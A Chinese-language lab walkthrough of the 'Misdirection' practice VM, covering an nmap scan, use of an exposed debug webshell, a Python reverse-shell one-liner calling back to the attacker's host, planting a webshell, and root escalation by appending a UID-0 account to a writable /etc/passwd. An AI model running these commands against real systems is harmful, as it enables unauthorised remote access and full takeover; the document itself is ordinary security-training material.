web打點
nmap掃描
Nmap scan report for 192.168.218.135
Host is up (0.000014s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 67:7b:cb:4e:95:1b:78:08:8d:2a:b1:47:04:8d:62:87 (ECDSA)
|_ 256 59:04:1d:25:11:6d:89:a3:6c:6d:e4:e3:d2:3c:da:7d (ED25519)
80/tcp open http Rocket httpd 1.2.6 (Python 2.7.15rc1)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
3306/tcp open mysql MySQL (unauthorized)
8080/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 00:0C:29:8A:B7:C3 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
開始掃目錄,識別web指紋
80埠的服務很奇怪,啥都能掃出來,但根據頁面文章資訊判斷,這其實應該是個python寫的
再看8080埠
這個debug引起了我的注意,進去看看
好傢伙,直接一個shell
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.218.129',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
再彈一個其實也差不多,寫了一個小馬到word press目錄方便檔案上傳之類的操作(就不用我手打wget命令了)。
提權
老思路先找suid(linux-exploit-suggester已經掃過一輪了,前幾個基本都是21年的cve,感覺肯定存在別的提權方法)
事實上也確實學到了一個以往沒注意的點。
在有/etc/passwd寫入許可權的情況下,通過寫入一條賬號密碼,可以直接使用寫入的賬號密碼登入伺服器。
#本地按照Linux系統儲存密碼的方式加密一下密碼
openssl passwd -1 test
#靶機上
echo 'wuerror:$1$1lSo01r2$TzSFfpcpzJIGwgyqri1520:0:0::/root:/bin/bash' >>/etc/passwd
#su must from a terminal
python -c "import pty; pty.spawn('/bin/bash')"
su wuerror
總結
回過頭來看,這個靶機命名misdirection確實是有點暗示的,80埠應該就是個蜜罐,各種目錄200,檔案大小還一樣。但808埠直接一個webshell未免有些敷衍了。
個人提權的思路確實有些不足:exp一把梭、suid特殊命令。這個靶機最大的收穫應該是要注意與賬號相關敏感目錄的寫許可權。